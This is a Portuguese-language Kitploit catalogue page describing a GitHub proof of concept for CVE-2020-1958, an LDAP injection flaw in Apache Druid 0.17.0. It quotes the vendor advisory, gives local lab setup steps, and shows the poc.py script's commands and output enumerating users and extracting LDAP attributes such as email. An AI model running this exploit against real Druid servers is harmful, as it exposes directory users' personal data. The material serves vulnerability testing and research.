Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-1958 — Prova de conceito de exploit para CVE-2020-1958, uma vulnerabilidade de injeção LDAP no Apache Druid 0.17.0, que permite enumeração de usuários e exfiltração de atributos LDAP. | Kitploit
Ferramentas/GitHubGitHub/ggolawski/cve-2020-1958
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAutenticação
GitHubggolawski/cve-2020-1958

CVE-2020-1958

Prova de conceito de exploit para CVE-2020-1958, uma vulnerabilidade de injeção LDAP no Apache Druid 0.17.0, que permite enumeração de usuários e exfiltração de atributos LDAP.

Ver Repositório
2181há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-1958 PoC

CVE-2020-1958 é uma vulnerabilidade de injeção LDAP de alta severidade no Apache Druid 0.17.0. Permite que um invasor ignore o filtro de pesquisa LDAP e recupere quaisquer valores de atributos LDAP de usuários que existem no servidor LDAP.

Do aviso oficial do Apache Druid:

Quando a autenticação LDAP está habilitada:

  • Os chamadores das APIs do Druid com um conjunto válido de credenciais LDAP podem contornar a barreira do filtro credentialsValidator.userSearch que determina se um usuário LDAP válido tem permissão para autenticar no Druid. Eles ainda estão sujeitos a verificações de autorização baseadas em função, se configuradas.
  • Os chamadores das APIs do Druid podem recuperar quaisquer valores de atributos LDAP de usuários que existem no servidor LDAP, desde que essa informação esteja visível para o servidor Druid. Esta divulgação de informações não exige que o próprio chamador seja um usuário LDAP válido.

PoC

O script poc.py demonstra como um invasor não autorizado pode enumerar usuários em um servidor LDAP integrado ao Druid e obter o valor de qualquer atributo de qualquer usuário.

Servidor de teste Druid local

Pule esta etapa se você já possui um servidor Druid com autenticação LDAP habilitada.

  1. Baixe o Druid 0.17.0 e extraia-o

    root@kitploit:~
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz $ tar -zxf apache-druid-0.17.0-bin.tar.gz
  • Habilite e configure a autenticação LDAP em conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Habilite a extensão druid-basic-security

      Localize druid.extensions.loadList e adicione druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Configure a autenticação LDAP

      Adicione o seguinte ao final do arquivo:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  • Execute o servidor OpenLDAP

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  • Importe usuários de users.ldif para o LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  • Execute o servidor Druid

    root@kitploit:~
    $ bin/start-nano-quickstart
    
  • Enumerar usuários

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/
    [INFO] Enumerating users from http://127.0.0.1:8888/
    admin1
    admin2
    admin3
    admin4
    admin5
    admin6
    admin7
    user1
    user2
    user3
    user4
    

    Recuperar valores de atributos LDAP do usuário admin1

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
    [INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
    [email protected]
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
    [INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
    admin1
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
    [INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
    last
    
    Baixar ferramenta